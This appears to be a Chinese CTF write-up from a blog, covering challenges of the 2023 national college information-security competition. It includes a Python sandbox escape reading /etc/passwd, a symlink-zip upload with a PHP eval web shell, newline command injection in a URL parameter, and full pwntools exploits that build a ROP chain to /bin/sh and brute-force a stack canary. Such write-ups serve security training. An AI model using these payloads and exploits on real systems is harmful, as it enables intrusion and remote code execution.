2023年第十六届全国大学生信息安全竞赛能力赛部分(WP)

MISC

签到卡

访问页面

 

输入ls得到提示

print(open(‘/etc/passwd’).read())

执行测试后发现成功执行命令,将etc/passwd换为flag去执行得到最后结果:print(open(‘/flag’).read())

 

flag值:

flag{3bd47cb8-e9cd-4170-8d62-788f10fb1663}

被加密的生产流量

分析modbus流量,追踪tcp流

 

发现base32编码,进行解密得到flag值

 

得到flag值:c1f_fi1g_1000

flag值:

flag{c1f_fi1g_1000}

Pyshell

通过测试和题目名称得知存在python沙盒逃逸并且一次只能输入7个字符串,使用+进行拼接调用eval函数成功执行命令

 

flag值:

flag{e3534b41-280c-4065-8648-db90e8c40e90}

国粹

下载附件得到三张图片,分别为题目.png、a.png和K.png

将图片中的麻将分割成单个麻将图片,每张图片分割成341张,一共总图片数为1023张 根据题目.png麻将顺序每张图片指定一个序号,从1-42 

就是麻将图片对应的坐标,对a.png和k.png分割得到的图片查找MD5哈希值对应的序号坐标:

 

然后对坐标进行绘画制图得到flag:

 

flag值:flag{202305012359}

Web

Unzip

随便上传一个文件后得到php代码通过代码审计得知上传zip文件后解压

创建指向html目录的软链接,压缩成zip文件得到lian.zip:

ln -s /var/www/html/ lian 

zip --symlinks lian.zip lian 

 

PHP木马:<?php eval($_POST[1]); ?>

放入与软连接同名的文件中后压缩得到lian2.zip:

 

依次发送两个压缩包:

 

 

连接out.php:

 

 

flag值:

flag{59e95852-2a53-4341-a7de-b4e063b0db90}

Dumpit

访问ctf库里的flag1,flag2,flag3,flag4,flag5,flag6中的提示得到flag不在数据库中,得到flag要通过rce获得

使用换行绕过后命令执行构造payload:  ?db=&table_2_dump=%0A ls

 

?db=&table_2_dump=%0A ls /  #查看根目录

?db=&table_2_dump=%0A set  #查看环境变量

 

flag值:

flag{1a3d5288-6cb1-486d-b81b-d2e748a7ddad}

Crypto

Sign_in_passwd

打开文件得到第一行为base64下一行为表:

 

先对表进行url解码

 

得到表:GHI3KLMNJOPQRSTUb=cdefghijklmnopWXYZ/12+406789VaqrstuvwxyzABCDEF5

Base64换表:

 

flag值:

flag{8e4b2888-6148-4003-b725-3ff0d93a6ee4}

可信度量

非预期打出

利用到了Linux基础命令grep查找/目录的文件-a表示将二进制文件看作为文本文件 -r表示递归在子目录中查找文件后得到flag

 

flag值:

flag{2ea02cbe-f3c0-41d7-93c2-d1517c67cc8}

基于国密SM2算法的密钥密文分发

通过题目得知此题为SM2加密算法,根据world文档进行获取相应的公钥私钥等

对字符串进行SM4ECB解密,生成随机字符串明文序列,通过系统生产的公私钥对和随机字符串序列来解出quantumstring的铭文序列上传服务器得到正确flag

编写exp:

import requests

import json

from pysmx.SM2 import generate_keypair

pk, sk = generate_keypair(64)

data = {

 "school": "xxxxxxx",

 "name": "xxx",

 "phone":"xxxxxxxxxxxx"

}

res = requests.post("http://123.56.135.185:13670/api/login", data=data)

j = json.loads(res.text)

u_id = j['data']['id']

data = {

    "publickey": pk,

    "id": u_id

}

get_private_key_resp = requests.post("http://123.56.135.185:13670/api/allkey", data = data)

get_private_key2 = requests.post("http://123.56.135.185:13670/api/quantum", data = {"id":u_id})

quantumstring = json.loads(get_private_key2.text)["data"]["quantumString"]

check = requests.post("http://123.56.135.185:13670/api/check", {"id": u_id, "quantumString": quantumstring})

search = requests.post("http://123.56.135.185:13670/api/search", data = {"id":u_id})

server_quantum_string = json.loads(search.text)["data"]["quantumStringServer"].upper()

check = requests.post("http://123.56.135.185:13670/api/check", {"id": u_id, "quantumString": server_quantum_string})

search = requests.post("http://123.56.135.185:13670/api/search", data = {"id":u_id})

print(search.text)

结果为:

flag值:

flag{8da2366e-1e78-46a3-b691-cf39e8545443}

Pwn

烧烤摊儿

从程序里面发现pijiu函数的里面出现了负数溢出。通过此溢出转入到gaiming函数,然后再通过ropgadget工具来获取ropchain。

from pwn import *

import struct

import os

context(os='linux', arch='amd64', log_level='debug')

elf = ELF("./shaokao")

DEBUG = 0

rdi = 0x000000000040264f

rsi = 0x000000000040a67e

bx = 0x00000000004a404b

rax = 0x0000000000458827

ret = 0x00000000004230a6

ad = 0x4e96c0

def exp(p):

    p.recvuntil(b"> ")

    p.sendline(b"1")

    p.recvuntil("3. 勇闯天涯\n")

    p.sendline(b"1")

    p.recvuntil("来几瓶?\n")

    p.sendline(b"-100000")

    p.recvuntil(b"> ")

    p.sendline(b"4")

    p.recvuntil(b"> ")

    p.sendline(b"5")

    p.recvuntil("烧烤摊儿已归你所有,请赐名:\n")

    payload = b"a"*0x28 + p64(rdi) + p64(0) + p64(rsi) + p64(ad) + p64(bx) + p64(0x100) + p64(0)

    payload += p64(rax) + p64(0) + p64(ret)

    payload += p64(rdi) + p64(ad) + p64(rsi) + p64(0) + p64(bx) + p64(0) + p64(0)

    payload += p64(rax) + p64(59) + p64(ret)

    p.sendline(payload)

    sleep(0.5)

    p.send(b"/bin/sh")

    p.interactive()

def main():

    if DEBUG:

        p = process("./shaokao")

        gdb.attach(p, "source ./.gdbinit")

        exp(p)

    else:

        p = remote("123.56.135.185",15620)

        exp(p)

if __name__ == "__main__":

    main()

 

flag值:

flag{7c6fd41f-c556-47fc-992f-c5992eeacc74}

Funcanary

Ida分析,每次输入都是通过一个新的fork()函数,根据栈溢出首先爆破canary,在程序中查看到system函数,交叉引用发现了后门函数,最后覆盖rip最低两个字节(4个16进制位)进入后门函数就可以拿到flag。

Exp:

from pwn import *

context.log_level = 'debug'

context.terminal = ['gnome-terminal','-x','bash','-c']

context(arch='amd64', os='linux')

elf = ELF('./funcanary')

p  = remote('39.105.26.155',41266)

p.recvuntil('welcome\n')

canary = '\x00'

for k in range(7):

    for i in range(256):

        print("the " + str(k) + ": " + chr(i))

        p.send('a'*0x68 + canary + chr(i))

        a = p.recvuntil("welcome\n")

        print(a)

        if b"have fun\n" in a:

                canary += chr(i)

                print("canary: " + canary)

                break

addr = 0x1231

canary = u64(canary)

for k in range(7):

    for i in range(0xf+1):

        print("the " + str(k) + ": " + chr(i))

        pay = b'a'*0x68 + p64(canary) + p64(0) + p8(0x31) + p8((i<<4) + 2)

        p.send(pay)

        a = p.recvuntil("welcome\n")

        print(a)

        if b"have fun\n" in a:

            pause()

p.interactive()

 

得到flag

flag值:

flag{a4690a42-9318-472c-8a51-196573f63018}

Reverse

babyRE

题目描述:baby也能做出来的RE

拿到xml文件,直接打开:

 

编译工具都给出来了:

<project name="re4baby22" app="Snap! 8.2, https://snap.berkeley.edu" version="2">

直接访问工具,Snap! Build Your Own Blocks(网址):

 

接下来直接将文件导入,发现就能运行:

 

右面竟然还有使用方法,按步运行:

 

 

来到下面,主要部分:

 

经过分析整体的流程,得异或可得flag

得exp:

var a =

[102,10,13,6,28,74,3,1,3,7,85,0,4,75,20,92,92,8,28,25,81,83,7,28,76,88,9,0,29,73,0,86,4,87,87,82,84,85,4,85,87,30];

var b = a[0];

s = "";

var arr = [];

for(var i=1; i<a.length; i++) {

 s += String.fromCharCode(b);

 arr.push(b);

 b = b ^ a[i];

}

arr.push(b);

s += String.fromCharCode(b);

console.log(s);

flag值: 

flag{12307bbf-9e91-4e61-a900-dd26a6d0ea4c}

EZbyte

 

64位无壳:直接拖入IDA

看main函数:

先查看一下字符串:

 

这里有个输入,直接跟到主要部分__int64 __fastcall sub_404C21(unsigned __int8 *a1):

 

只有这里有 DW_CFA 表达式,就是异或和sub

 

Exp:

a= (2616514329260088143 ^ 1237891274917891239) - 1892739

b = (8502251781212277489 ^ 1209847170981118947) - 8971237

c = (2451795628338718684 ^ 1098791727398412397) - 1512312

d = (8722213363631027234 ^ 1890878197237214971) - 9123704

flag = b'flag{'

flag += int.to_bytes(a, 8, 'little')

flag += int.to_bytes(b, 8, 'little')

flag += int.to_bytes(c, 8, 'little')

flag += int.to_bytes(d, 8, 'little')

flag += b'3861}'

print(flag)

flag值:

flag{e609efb5-e70e-4e94-ac69-ac31d96c3861}

  • 18
    点赞
  • 26
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值